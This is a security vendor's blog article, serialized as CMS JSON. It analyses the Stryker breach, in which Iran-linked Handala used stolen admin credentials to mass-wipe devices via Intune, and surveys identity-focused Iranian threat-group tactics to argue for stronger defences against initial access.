surface.",{"data":41005,"content":41006,"nodeType":866},{},[41007,41010,41016,41019,41026,41029,41035],{"data":41008,"marks":41009,"value":11372,"nodeType":865},{},[],{"data":41011,"content":41012,"nodeType":889},{"uri":11375},[41013],{"data":41014,"marks":41015,"value":11381,"nodeType":865},{},[],{"data":41017,"marks":41018,"value":2717,"nodeType":865},{},[],{"data":41020,"content":41021,"nodeType":889},{"uri":11387},[41022],{"data":41023,"marks":41024,"value":11393,"nodeType":865},{},[41025],{"type":943},{"data":41027,"marks":41028,"value":11397,"nodeType":865},{},[],{"data":41030,"content":41031,"nodeType":889},{"uri":1372},[41032],{"data":41033,"marks":41034,"value":11405,"nodeType":865},{},[],{"data":41036,"marks":41037,"value":1615,"nodeType":865},{},[],"Unpacking the Vercel breach: A cautionary tale for Shadow AI and OAuth sprawl","In April 2026, Vercel was compromised via an OAuth app integrated into their Google Workspace tenant stemming from a compromised third-party AI SaaS provider.","2026-04-23T00:00:00.000Z","unpacking-the-vercel-breach",{"items":41043},[41044,41046],{"sys":41045,"name":7796},{"id":7795},{"sys":41047,"name":342},{"id":4642},{"items":41049},[41050],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":41051},{"url":7804},{"__typename":1429,"sys":41053,"content":41055,"title":41957,"synopsis":41958,"hashTags":59,"publishedDate":41959,"slug":41960,"tagsCollection":41961,"authorsCollection":41967},{"id":41054},"10hUzI9iiY8fFtmlA0M9Ne",{"json":41056},{"data":41057,"content":41058,"nodeType":1382},{},[41059,41066,41072,41091,41094,41102,41109,41116,41119,41127,41134,41305,41312,41319,41322,41330,41337,41344,41351,41358,41361,41369,41388,41395,41403,41410,41555,41573,41581,41588,41723,41742,41748,41751,41759,41766,41773,41780,41783,41791,41831,41862,41869,41875,41878,41885,41892,41899,41906,41909,41917,41924],{"data":41060,"content":41061,"nodeType":866},{},[41062],{"data":41063,"marks":41064,"value":41065,"nodeType":865},{},[],"On the morning of March 11, employees at Stryker Corporation offices across 79 countries turned on their laptops and found them wiped and unusable. Personal phones enrolled in the company's BYOD program had been factory reset overnight, taking photos, banking apps, and authenticator tokens with them. Login pages had also been defaced with the logo of Handala, a persona operated by Iran's Ministry of Intelligence and Security (MOIS).",{"data":41067,"content":41071,"nodeType":912},{"target":41068},{"sys":41069},{"id":41070,"type":909,"linkType":910},"6JtlGFq0RDoW9g6zyAcPvn",[],{"data":41073,"content":41074,"nodeType":866},{},[41075,41079,41087],{"data":41076,"marks":41077,"value":41078,"nodeType":865},{},[],"In a break from the standard Handala playbook, there was no ransomware, no malware, and no exploit chain. The attacker ",{"data":41080,"content":41082,"nodeType":889},{"uri":41081},"https://www.bleepingcomputer.com/news/security/stryker-attack-wiped-tens-of-thousands-of-devices-no-malware-needed/",[41083],{"data":41084,"marks":41085,"value":41086,"nodeType":865},{},[],"simply logged into Microsoft Intune",{"data":41088,"marks":41089,"value":41090,"nodeType":865},{},[]," with compromised Global Administrator credentials, abused a legitimate feature, and wiped over 80,000 systems, servers, and mobile devices.",{"data":41092,"content":41093,"nodeType":972},{},[],{"data":41095,"content":41096,"nodeType":981},{},[41097],{"data":41098,"marks":41099,"value":41101,"nodeType":865},{},[41100],{"type":926},"What a Handala attack was supposed to look like",{"data":41103,"content":41104,"nodeType":866},{},[41105],{"data":41106,"marks":41107,"value":41108,"nodeType":865},{},[],"Handala has a reputation for being a manual, hands-on intrusion team whose TTPs have typically included VPN credential brute-force for initial access (hundreds of logon attempts from commercial VPN nodes), supply chain compromise via managed service providers, RDP as the primary lateral movement method, ADRecon for Active Directory enumeration, LSASS credential dumping via comsvcs.dll, and GPO logon scripts for wiper distribution.",{"data":41110,"content":41111,"nodeType":866},{},[41112],{"data":41113,"marks":41114,"value":41115,"nodeType":865},{},[],"If you had invested in detection logic around Handala's documented toolkit (BiBi Wiper file extensions, Cl Wiper's EldoS RawDisk driver calls, No-Justice partition table manipulation, Karma Shell's Base64-with-XOR web shell patterns) none of it would have fired. Wiper malware signatures, web shell indicators, RawDisk driver loading, MBR/GPT manipulation, SharePoint exploitation patterns, anomalous RDP/SMB lateral movement: all reasonable detection priorities given the group's threat intelligence profile, but all irrelevant when it mattered most.",{"data":41117,"content":41118,"nodeType":972},{},[],{"data":41120,"content":41121,"nodeType":981},{},[41122],{"data":41123,"marks":41124,"value":41126,"nodeType":865},{},[41125],{"type":926},"What Handala actually did",{"data":41128,"content":41129,"nodeType":866},{},[41130],{"data":41131,"marks":41132,"value":41133,"nodeType":865},{},[],"The Stryker attack departs from the documented baseline across the kill chain.",{"data":41135,"content":41136,"nodeType":2927},{},[41137,41173,41206,41239,41272],{"data":41138,"content":41139,"nodeType":2400},{},[41140,41151,41162],{"data":41141,"content":41142,"nodeType":38076},{},[41143],{"data":41144,"content":41145,"nodeType":866},{},[41146],{"data":41147,"marks":41148,"value":41150,"nodeType":865},{},[41149],{"type":926},"Kill chain phase",{"data":41152,"content":41153,"nodeType":38076},{},[41154],{"data":41155,"content":41156,"nodeType":866},{},[41157],{"data":41158,"marks":41159,"value":41161,"nodeType":865},{},[41160],{"type":926},"Historical TTP",{"data":41163,"content":41164,"nodeType":38076},{},[41165],{"data":41166,"content":41167,"nodeType":866},{},[41168],{"data":41169,"marks":41170,"value":41172,"nodeType":865},{},[41171],{"type":926},"Stryker TTP",{"data":41174,"content":41175,"nodeType":2400},{},[41176,41186,41196],{"data":41177,"content":41178,"nodeType":2366},{},[41179],{"data":41180,"content":41181,"nodeType":866},{},[41182],{"data":41183,"marks":41184,"value":41185,"nodeType":865},{},[],"Initial access",{"data":41187,"content":41188,"nodeType":2366},{},[41189],{"data":41190,"content":41191,"nodeType":866},{},[41192],{"data":41193,"marks":41194,"value":41195,"nodeType":865},{},[],"VPN credential brute-force, supply chain compromise of managed service providers and IT vendors, spearphishing with wiper delivery, exploitation of SharePoint and Windows server vulnerabilities",{"data":41197,"content":41198,"nodeType":2366},{},[41199],{"data":41200,"content":41201,"nodeType":866},{},[41202],{"data":41203,"marks":41204,"value":41205,"nodeType":865},{},[],"Identity compromise targeting Microsoft Entra ID",{"data":41207,"content":41208,"nodeType":2400},{},[41209,41219,41229],{"data":41210,"content":41211,"nodeType":2366},{},[41212],{"data":41213,"content":41214,"nodeType":866},{},[41215],{"data":41216,"marks":41217,"value":41218,"nodeType":865},{},[],"Persistence",{"data":41220,"content":41221,"nodeType":2366},{},[41222],{"data":41223,"content":41224,"nodeType":866},{},[41225],{"data":41226,"marks":41227,"value":41228,"nodeType":865},{},[],"Web shells (Karma Shell, reGeorg)",{"data":41230,"content":41231,"nodeType":2366},{},[41232],{"data":41233,"content":41234,"nodeType":866},{},[41235],{"data":41236,"marks":41237,"value":41238,"nodeType":865},{},[],"Global Administrator access to cloud tenant, no persistence mechanism needed",{"data":41240,"content":41241,"nodeType":2400},{},[41242,41252,41262],{"data":41243,"content":41244,"nodeType":2366},{},[41245],{"data":41246,"content":41247,"nodeType":866},{},[41248],{"data":41249,"marks":41250,"value":41251,"nodeType":865},{},[],"Lateral movement",{"data":41253,"content":41254,"nodeType":2366},{},[41255],{"data":41256,"content":41257,"nodeType":866},{},[41258],{"data":41259,"marks":41260,"value":41261,"nodeType":865},{},[],"RDP, SMB, FTP, Mimikatz",{"data":41263,"content":41264,"nodeType":2366},{},[41265],{"data":41266,"content":41267,"nodeType":866},{},[41268],{"data":41269,"marks":41270,"value":41271,"nodeType":865},{},[],"None required, Intune console provides global reach from a single session",{"data":41273,"content":41274,"nodeType":2400},{},[41275,41285,41295],{"data":41276,"content":41277,"nodeType":2366},{},[41278],{"data":41279,"content":41280,"nodeType":866},{},[41281],{"data":41282,"marks":41283,"value":41284,"nodeType":865},{},[],"Impact",{"data":41286,"content":41287,"nodeType":2366},{},[41288],{"data":41289,"content":41290,"nodeType":866},{},[41291],{"data":41292,"marks":41293,"value":41294,"nodeType":865},{},[],"Custom wiper malware (BiBi, Cl Wiper, No-Justice, Hatef)",{"data":41296,"content":41297,"nodeType":2366},{},[41298],{"data":41299,"content":41300,"nodeType":866},{},[41301],{"data":41302,"marks":41303,"value":41304,"nodeType":865},{},[],"Microsoft Intune Remote Wipe, a legitimate built-in administrative feature",{"data":41306,"content":41307,"nodeType":866},{},[41308],{"data":41309,"marks":41310,"value":41311,"nodeType":865},{},[],"An organization with detections built around malware signatures, file system manipulation, and anomalous process execution would be unprepared for an attack with zero malware artifacts, where every action was a legitimate administrative command.",{"data":41313,"content":41314,"nodeType":866},{},[41315],{"data":41316,"marks":41317,"value":41318,"nodeType":865},{},[],"But while the methods were different, the core objective — mass destruction of data — is entirely consistent with previous campaigns, just through a legitimate management plane rather than custom malware.",{"data":41320,"content":41321,"nodeType":972},{},[],{"data":41323,"content":41324,"nodeType":981},{},[41325],{"data":41326,"marks":41327,"value":41329,"nodeType":865},{},[41328],{"type":926},"The kill chain looks different now",{"data":41331,"content":41332,"nodeType":866},{},[41333],{"data":41334,"marks":41335,"value":41336,"nodeType":865},{},[],"The attack path was devastatingly simple. It didn't require lateral movement because there was nothing to move laterally through. It didn't require privilege escalation because they directly compromised a global administrator account. Every device managed by Intune was already within reach.",{"data":41338,"content":41339,"nodeType":866},{},[41340],{"data":41341,"marks":41342,"value":41343,"nodeType":865},{},[],"The traditional network-centric kill chain collapses into: compromise identity, access management plane, execute objective.",{"data":41345,"content":41346,"nodeType":866},{},[41347],{"data":41348,"marks":41349,"value":41350,"nodeType":865},{},[],"This is not specific to Iran-aligned actors. Russian groups are leveraging AITM phishing kits and abusing Microsoft 365 OAuth tokens via consent attacks. Scattered Spider built an operational model around social engineering and SSO account takeover. And now Handala has demonstrated that a nation-state destructive operation can be executed entirely by abusing legitimate enterprise tooling.",{"data":41352,"content":41353,"nodeType":866},{},[41354],{"data":41355,"marks":41356,"value":41357,"nodeType":865},{},[],"This kind of attack is more direct, faster to execute, and carries a significantly lower barrier to entry. You don't need custom malware and exploit development when you can log in using as-a-Service kits or partner with an access brokering specialist.",{"data":41359,"content":41360,"nodeType":972},{},[],{"data":41362,"content":41363,"nodeType":981},{},[41364],{"data":41365,"marks":41366,"value":41368,"nodeType":865},{},[41367],{"type":926},"The big picture of Iranian cyber TTPs",{"data":41370,"content":41371,"nodeType":866},{},[41372,41376,41384],{"data":41373,"marks":41374,"value":41375,"nodeType":865},{},[],"Iran's offensive cyber capability is split between two rival intelligence bureaucracies. The Ministry of Intelligence and Security (MOIS) runs groups like APT34, MuddyWater, Scarred Manticore, and Void Manticore (Handala), which tend toward long-dwell espionage and coordinated destructive operations, often using a ",{"data":41377,"content":41379,"nodeType":889},{"uri":41378},"https://research.checkpoint.com/2024/bad-karma-no-justice-void-manticore-destructive-activities-in-israel/",[41380],{"data":41381,"marks":41382,"value":41383,"nodeType":865},{},[],"documented dual-actor handoff model",{"data":41385,"marks":41386,"value":41387,"nodeType":865},{},[]," where Scarred Manticore conducts stealthy espionage before handing targets to Void Manticore (Handala) for destruction.",{"data":41389,"content":41390,"nodeType":866},{},[41391],{"data":41392,"marks":41393,"value":41394,"nodeType":865},{},[],"The Islamic Revolutionary Guard Corps (IRGC) runs a wider set of groups, including APT33/Peach Sandstorm, APT35/Charming Kitten, APT42, Tortoiseshell/Imperial Kitten, Cotton Sandstorm, and CyberAv3ngers. IRGC groups cover espionage, destructive attacks, influence operations, election interference, ICS targeting across U.S. water and wastewater facilities), and individual surveillance.",{"data":41396,"content":41397,"nodeType":1317},{},[41398],{"data":41399,"marks":41400,"value":41402,"nodeType":865},{},[41401],{"type":926},"IRGC groups have already shifted to identity-first TTPs",{"data":41404,"content":41405,"nodeType":866},{},[41406],{"data":41407,"marks":41408,"value":41409,"nodeType":865},{},[],"On the IRGC side, the shift toward identity-centric operations is well-documented:",{"data":41411,"content":41412,"nodeType":1616},{},[41413,41464,41502,41529],{"data":41414,"content":41415,"nodeType":1570},{},[41416],{"data":41417,"content":41418,"nodeType":866},{},[41419,41424,41428,41436,41440,41448,41452,41460],{"data":41420,"marks":41421,"value":41423,"nodeType":865},{},[41422],{"type":926},"APT33/Peach Sandstorm",{"data":41425,"marks":41426,"value":41427,"nodeType":865},{},[]," shifted decisively toward credential-based initial access starting in early 2023, with Microsoft ",{"data":41429,"content":41431,"nodeType":889},{"uri":41430},"https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/",[41432],{"data":41433,"marks":41434,"value":41435,"nodeType":865},{},[],"documenting",{"data":41437,"marks":41438,"value":41439,"nodeType":865},{},[]," large-scale password spray campaigns targeting thousands of organizations, ",{"data":41441,"content":41443,"nodeType":889},{"uri":41442},"https://www.bleepingcomputer.com/news/security/iranian-hackers-breach-defense-orgs-in-password-spray-attacks/",[41444],{"data":41445,"marks":41446,"value":41447,"nodeType":865},{},[],"Golden SAML",{"data":41449,"marks":41450,"value":41451,"nodeType":865},{},[]," attacks for persistent cloud access, and the use of ",{"data":41453,"content":41455,"nodeType":889},{"uri":41454},"https://www.microsoft.com/en-us/security/blog/2024/08/28/peach-sandstorm-deploys-new-custom-tickler-malware-in-long-running-intelligence-gathering-operations/",[41456],{"data":41457,"marks":41458,"value":41459,"nodeType":865},{},[],"fraudulent Azure subscriptions",{"data":41461,"marks":41462,"value":41463,"nodeType":865},{},[]," for C2 infrastructure.",{"data":41465,"content":41466,"nodeType":1570},{},[41467],{"data":41468,"content":41469,"nodeType":866},{},[41470,41475,41478,41486,41490,41498],{"data":41471,"marks":41472,"value":41474,"nodeType":865},{},[41473],{"type":926},"APT42",{"data":41476,"marks":41477,"value":2717,"nodeType":865},{},[],{"data":41479,"content":41481,"nodeType":889},{"uri":41480},"https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations",[41482],{"data":41483,"marks":41484,"value":41485,"nodeType":865},{},[],"assessed by Mandiant to operate on behalf of the IRGC-IO, ",{"data":41487,"marks":41488,"value":41489,"nodeType":865},{},[],"has made credential harvesting and MFA bypass its core competency, operating almost entirely within cloud environments post-compromise and ",{"data":41491,"content":41493,"nodeType":889},{"uri":41492},"https://cloud.google.com/blog/topics/threat-intelligence/apt42-charms-cons-compromises",[41494],{"data":41495,"marks":41496,"value":41497,"nodeType":865},{},[],"registering its own Microsoft Authenticator",{"data":41499,"marks":41500,"value":41501,"nodeType":865},{},[]," on compromised accounts for persistent access.",{"data":41503,"content":41504,"nodeType":1570},{},[41505],{"data":41506,"content":41507,"nodeType":866},{},[41508,41513,41517,41525],{"data":41509,"marks":41510,"value":41512,"nodeType":865},{},[41511],{"type":926},"APT35",{"data":41514,"marks":41515,"value":41516,"nodeType":865},{},[]," (aka Imperial Kitten/Tortoiseshell) was observed ",{"data":41518,"content":41520,"nodeType":889},{"uri":41519},"https://www.crowdstrike.com/explore/2026-global-threat-report?utm_medium=org",[41521],{"data":41522,"marks":41523,"value":41524,"nodeType":865},{},[],"targeting cloud identities in November 2025",{"data":41526,"marks":41527,"value":41528,"nodeType":865},{},[],", deploying the Evilginx2 AitM toolkit against Microsoft 365 users in Israel.",{"data":41530,"content":41531,"nodeType":1570},{},[41532],{"data":41533,"content":41534,"nodeType":866},{},[41535,41540,41544,41551],{"data":41536,"marks":41537,"value":41539,"nodeType":865},{},[41538],{"type":926},"CrustyKrill",{"data":41541,"marks":41542,"value":41543,"nodeType":865},{},[]," (TA455/Smoke Sandstorm) ",{"data":41545,"content":41546,"nodeType":889},{"uri":41519},[41547],{"data":41548,"marks":41549,"value":41550,"nodeType":865},{},[],"uses fake Google Meet and Microsoft Teams pages",{"data":41552,"marks":41553,"value":41554,"nodeType":865},{},[]," with a live operator intercepting 2FA codes in real time, alongside Azure Web Apps for C2.",{"data":41556,"content":41557,"nodeType":866},{},[41558,41561,41569],{"data":41559,"marks":41560,"value":995,"nodeType":865},{},[],{"data":41562,"content":41564,"nodeType":889},{"uri":41563},"https://media.defense.gov/2024/Oct/16/2003565317/-1/-1/0/CSA-IRAN-CYBER-BRUTE-FORCE-CRITICAL-INFRASTRUCTURE-ORGS.PDF",[41565],{"data":41566,"marks":41567,"value":41568,"nodeType":865},{},[],"joint advisory from six nations",{"data":41570,"marks":41571,"value":41572,"nodeType":865},{},[]," (FBI, CISA, NSA, CSE, AFP, ASD, advisory AA24-290A, October 2024) confirmed the pattern at the government level, documenting Iranian actors using brute force, password spraying, and MFA push bombing to compromise critical infrastructure accounts since October 2023, and assessing that the actors sell this access on cybercriminal forums.",{"data":41574,"content":41575,"nodeType":1317},{},[41576],{"data":41577,"marks":41578,"value":41580,"nodeType":865},{},[41579],{"type":926},"MOIS groups are changing their approach too",{"data":41582,"content":41583,"nodeType":866},{},[41584],{"data":41585,"marks":41586,"value":41587,"nodeType":865},{},[],"On the MOIS side, the documented TTP baseline has historically centred on custom malware, network-level persistence, and exploitation of on-premises infrastructure. But identity compromise, particularly credential theft, has been a consistent thread across broader MOIS groups too:",{"data":41589,"content":41590,"nodeType":1616},{},[41591,41630,41657,41708],{"data":41592,"content":41593,"nodeType":1570},{},[41594],{"data":41595,"content":41596,"nodeType":866},{},[41597,41602,41606,41614,41618,41626],{"data":41598,"marks":41599,"value":41601,"nodeType":865},{},[41600],{"type":926},"APT34 (OilRig) ",{"data":41603,"marks":41604,"value":41605,"nodeType":865},{},[],"built its reputation on DNS tunnelling and custom backdoors, but its initial access methods include spearphishing and fake VPN portals for credential harvesting. Its 2024 campaigns introduced ",{"data":41607,"content":41609,"nodeType":889},{"uri":41608},"https://www.trendmicro.com/en_us/research/24/j/earth-simnavaz-cyberattacks.html",[41610],{"data":41611,"marks":41612,"value":41613,"nodeType":865},{},[],"password filter DLLs",{"data":41615,"marks":41616,"value":41617,"nodeType":865},{},[]," registered at the domain controller level to intercept plaintext credentials during password change events, with the ",{"data":41619,"content":41621,"nodeType":889},{"uri":41620},"https://www.bleepingcomputer.com/news/security/oilrig-hackers-now-exploit-windows-flaw-to-elevate-privileges/",[41622],{"data":41623,"marks":41624,"value":41625,"nodeType":865},{},[],"STEALHOOK backdoor",{"data":41627,"marks":41628,"value":41629,"nodeType":865},{},[]," exfiltrating stolen domain credentials via compromised Exchange servers. Cloud-based downloaders leveraging OneDrive and Microsoft Graph API were active against Israeli targets from 2022 to 2024.",{"data":41631,"content":41632,"nodeType":1570},{},[41633],{"data":41634,"content":41635,"nodeType":866},{},[41636,41641,41645,41653],{"data":41637,"marks":41638,"value":41640,"nodeType":865},{},[41639],{"type":926},"APT39 (Chafer) ",{"data":41642,"marks":41643,"value":41644,"nodeType":865},{},[],"operated through the ",{"data":41646,"content":41648,"nodeType":889},{"uri":41647},"https://home.treasury.gov/news/press-releases/sm1127",[41649],{"data":41650,"marks":41651,"value":41652,"nodeType":865},{},[],"sanctioned front company Rana Intelligence Computing",{"data":41654,"marks":41655,"value":41656,"nodeType":865},{},[],", focuses on surveillance and tracking of individuals, using credential harvesting through spoofed airline and telecom domains across 30+ countries.",{"data":41658,"content":41659,"nodeType":1570},{},[41660],{"data":41661,"content":41662,"nodeType":866},{},[41663,41668,41672,41680,41684,41692,41696,41704],{"data":41664,"marks":41665,"value":41667,"nodeType":865},{},[41666],{"type":926},"MuddyWater",{"data":41669,"marks":41670,"value":41671,"nodeType":865},{},[],", confirmed by a ",{"data":41673,"content":41675,"nodeType":889},{"uri":41674},"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-055a",[41676],{"data":41677,"marks":41678,"value":41679,"nodeType":865},{},[],"joint CISA/FBI/NSA/NCSC advisory",{"data":41681,"marks":41682,"value":41683,"nodeType":865},{},[]," as a subordinate element of MOIS, functions as an initial access broker within the ecosystem. Its operations rely on spearphishing and abuse of legitimate RMM tools, but the group has developed ",{"data":41685,"content":41687,"nodeType":889},{"uri":41686},"https://thehackernews.com/2025/12/iran-linked-hackers-hits-israeli_2.html",[41688],{"data":41689,"marks":41690,"value":41691,"nodeType":865},{},[],"dedicated credential stealers",{"data":41693,"marks":41694,"value":41695,"nodeType":865},{},[]," including CE-Notes (which bypasses Chrome's app-bound encryption), Blub (a multi-browser credential extractor), and LP-Notes (fake Windows Security dialogs to capture system credentials). A parallel campaign documented by ",{"data":41697,"content":41699,"nodeType":889},{"uri":41698},"https://www.group-ib.com/blog/muddywater-espionage/",[41700],{"data":41701,"marks":41702,"value":41703,"nodeType":865},{},[],"Group-IB",{"data":41705,"marks":41706,"value":41707,"nodeType":865},{},[]," found the group deploying a custom Chromium credential stealer alongside its Phoenix backdoor.",{"data":41709,"content":41710,"nodeType":1570},{},[41711],{"data":41712,"content":41713,"nodeType":866},{},[41714,41719],{"data":41715,"marks":41716,"value":41718,"nodeType":865},{},[41717],{"type":926},"Lyceum (Hexane)",{"data":41720,"marks":41721,"value":41722,"nodeType":865},{},[]," overlaps operationally with APT34 and uses password spraying and brute-force attacks for initial access, and notably probed Albanian government infrastructure ahead of Handala destructive attacks in 2022, illustrating the collaborative model across MOIS groups.",{"data":41724,"content":41725,"nodeType":866},{},[41726,41730,41738],{"data":41727,"marks":41728,"value":41729,"nodeType":865},{},[],"Check Point has also ",{"data":41731,"content":41733,"nodeType":889},{"uri":41732},"https://research.checkpoint.com/2026/iranian-mois-actors-the-cyber-crime-connection/",[41734],{"data":41735,"marks":41736,"value":41737,"nodeType":865},{},[],"documented",{"data":41739,"marks":41740,"value":41741,"nodeType":865},{},[]," a broader pattern of MOIS actors engaging directly with the criminal ecosystem, including Handala's adoption of the Rhadamanthys commercial infostealer and Iranian-affiliated operators working through the Qilin ransomware-as-a-service infrastructure.",{"data":41743,"content":41747,"nodeType":912},{"target":41744},{"sys":41745},{"id":41746,"type":909,"linkType":910},"2SFtROFuPZ4SPTL87Vpjr9",[],{"data":41749,"content":41750,"nodeType":972},{},[],{"data":41752,"content":41753,"nodeType":981},{},[41754],{"data":41755,"marks":41756,"value":41758,"nodeType":865},{},[41757],{"type":926},"The problem with over-indexing on TTPs",{"data":41760,"content":41761,"nodeType":866},{},[41762],{"data":41763,"marks":41764,"value":41765,"nodeType":865},{},[],"Threat intelligence has real value. Attributing campaigns to named groups, mapping their techniques to MITRE ATT&CK, and generating detection rules gives defenders a meaningful starting point. The problem is treating a specific actor's historical TTP catalogue as the primary basis for detection logic, rather than combining it with the broader trends in attacker behaviour visible across the entire landscape.",{"data":41767,"content":41768,"nodeType":866},{},[41769],{"data":41770,"marks":41771,"value":41772,"nodeType":865},{},[],"Operators are creative and pragmatic. If the path of least resistance is a compromised admin credential and a legitimate MDM feature, no serious attacker is going to deploy custom wiper malware instead because that's what they used last time.",{"data":41774,"content":41775,"nodeType":866},{},[41776],{"data":41777,"marks":41778,"value":41779,"nodeType":865},{},[],"If your threat model says you're a plausible target for an Iranian threat group, and the trend data tells you that identity compromise is the most common initial access method across all actors, the rational response is to evaluate your controls aligned to identity-based initial access, not just deploy signatures for BiBi Wiper. When the specific actor profile crowds out the general trend data, you end up building defences against the last attack and leaving yourself exposed to the shift that every actor is going through.",{"data":41781,"content":41782,"nodeType":972},{},[],{"data":41784,"content":41785,"nodeType":981},{},[41786],{"data":41787,"marks":41788,"value":41790,"nodeType":865},{},[41789],{"type":926},"Evaluating the security guidance",{"data":41792,"content":41793,"nodeType":866},{},[41794,41798,41806,41810,41818,41822,41827],{"data":41795,"marks":41796,"value":41797,"nodeType":865},{},[],"In the wake of the breach, industry guidance has settled around enforcing phishing-resistant MFA on privileged accounts, implementing just-in-time privilege activation via ",{"data":41799,"content":41801,"nodeType":889},{"uri":41800},"https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure",[41802],{"data":41803,"marks":41804,"value":41805,"nodeType":865},{},[],"PIM",{"data":41807,"marks":41808,"value":41809,"nodeType":865},{},[],", enabling ",{"data":41811,"content":41813,"nodeType":889},{"uri":41812},"https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/multi-admin-approval",[41814],{"data":41815,"marks":41816,"value":41817,"nodeType":865},{},[],"Multi Admin Approval ",{"data":41819,"marks":41820,"value":41821,"nodeType":865},{},[],"for high-risk Intune operations, configuring anomaly alerting on bulk device actions, and segregating administrative identities from everyday user accounts. This is all sound advice, but these recommendations are designed to limit what an attacker can do ",{"data":41823,"marks":41824,"value":41826,"nodeType":865},{},[41825],{"type":898},"after",{"data":41828,"marks":41829,"value":41830,"nodeType":865},{},[]," an account has already been compromised — introducing friction, but not blocking them entirely.",{"data":41832,"content":41833,"nodeType":866},{},[41834,41838,41846,41850,41858],{"data":41835,"marks":41836,"value":41837,"nodeType":865},{},[],"The detection challenges compound this. Entra ID sign-in logs and ",{"data":41839,"content":41841,"nodeType":889},{"uri":41840},"https://www.a6n.co.uk/2025/11/tracking-device-wipes-in-microsoft.html",[41842],{"data":41843,"marks":41844,"value":41845,"nodeType":865},{},[],"Intune audit logs exist in separate systems",{"data":41847,"marks":41848,"value":41849,"nodeType":865},{},[]," with separate correlation IDs. Tracing a sign-in to a subsequent device action requires deliberate log integration that many organizations haven't implemented. The ",{"data":41851,"content":41853,"nodeType":889},{"uri":41852},"https://learn.microsoft.com/en-us/intune/intune-service/fundamentals/monitor-audit-logs",[41854],{"data":41855,"marks":41856,"value":41857,"nodeType":865},{},[],"logs do record",{"data":41859,"marks":41860,"value":41861,"nodeType":865},{},[]," \"wipe ManagedDevice\" events, but may not be linked to real-time alerting. And the underlying action, Intune's Remote Wipe, is a legitimate feature used routinely in enterprise IT. Again, the attack could have succeeded even with these in place.",{"data":41863,"content":41864,"nodeType":866},{},[41865],{"data":41866,"marks":41867,"value":41868,"nodeType":865},{},[],"In a world where a compromised account can be rapidly exploited, it's vital to focus on improving detection and prevention as early as possible in the kill chain — combating initial access techniques themselves.",{"data":41870,"content":41874,"nodeType":912},{"target":41871},{"sys":41872},{"id":41873,"type":909,"linkType":910},"4H3AzW7q4QBv7pJawSqQBJ",[],{"data":41876,"content":41877,"nodeType":972},{},[],{"data":41879,"content":41880,"nodeType":981},{},[41881],{"data":41882,"marks":41883,"value":16038,"nodeType":865},{},[41884],{"type":926},{"data":41886,"content":41887,"nodeType":866},{},[41888],{"data":41889,"marks":41890,"value":41891,"nodeType":865},{},[],"The Stryker attack reflects what attackers everywhere — from financially motivated criminal groups to more destructive nation-state operators — are already doing. Identity-based initial access, abuse of legitimate tools and services, and living-off-the-land execution are the current standard operating procedure.",{"data":41893,"content":41894,"nodeType":866},{},[41895],{"data":41896,"marks":41897,"value":41898,"nodeType":865},{},[],"Even with a perfectly hardened environment, most public breaches today involve attackers hijacking SSO mechanisms to move into connected applications, exfiltrating data for resale or extortion, and in some cases leveraging cloud services and admin platforms to deploy ransomware (the Scattered Spider playbook of dropping ransomware via VMware management portal being a well-documented example).",{"data":41900,"content":41901,"nodeType":866},{},[41902],{"data":41903,"marks":41904,"value":41905,"nodeType":865},{},[],"The majority of attackers will have no interest in destructively wiping an Intune environment — that's difficult to monetize. But the techniques that enabled the Stryker wipe are the same as those that enable financially motivated breaches at scale, pointing to a challenge that extends well beyond Iran-nexus threat actors and MDM hardening.",{"data":41907,"content":41908,"nodeType":972},{},[],{"data":41910,"content":41911,"nodeType":981},{},[41912],{"data":41913,"marks":41914,"value":41916,"nodeType":865},{},[41915],{"type":926},"About Push Security",{"data":41918,"content":41919,"nodeType":866},{},[41920],{"data":41921,"marks":41922,"value":41923,"nodeType":865},{},[],"Push Security's browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":41925,"content":41926,"nodeType":866},{},[41927,41930,41936,41939,41945,41948,41954],{"data":41928,"marks":41929,"value":11372,"nodeType":865},{},[],{"data":41931,"content":41932,"nodeType":889},{"uri":11375},[41933],{"data":41934,"marks":41935,"value":11381,"nodeType":865},{},[],{"data":41937,"marks":41938,"value":2717,"nodeType":865},{},[],{"data":41940,"content":41941,"nodeType":889},{"uri":11387},[41942],{"data":41943,"marks":41944,"value":11393,"nodeType":865},{},[],{"data":41946,"marks":41947,"value":11397,"nodeType":865},{},[],{"data":41949,"content":41950,"nodeType":889},{"uri":1372},[41951],{"data":41952,"marks":41953,"value":11405,"nodeType":865},{},[],{"data":41955,"marks":41956,"value":1615,"nodeType":865},{},[],"The Stryker breach didn't match the playbook. That shouldn't be a surprise.","Analysing the Stryker breach in line with recent changes to the Iran-nexus cyber playbook.","2026-03-19T00:00:00.000Z","stryker-handala-report",{"items":41962},[41963,41965],{"sys":41964,"name":7796},{"id":7795},{"sys":41966,"name":342},{"id":4642},{"items":41968},[41969],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":41970},{"url":7804},"blog/the-cisos-data-problem-and-how-browser-telemetry-can-help",{"json":41973},{"data":41974,"content":41975,"nodeType":1382},{},[41976],{"data":41977,"content":41978,"nodeType":866},{},[41979],{"data":41980,"marks":41981,"value":41982,"nodeType":865},{},[],"For most security teams, quantifying cyber risk means borrowing someone else's numbers. For the identity attack surface that now dominates modern attack campaigns, high-fidelity browser telemetry changes 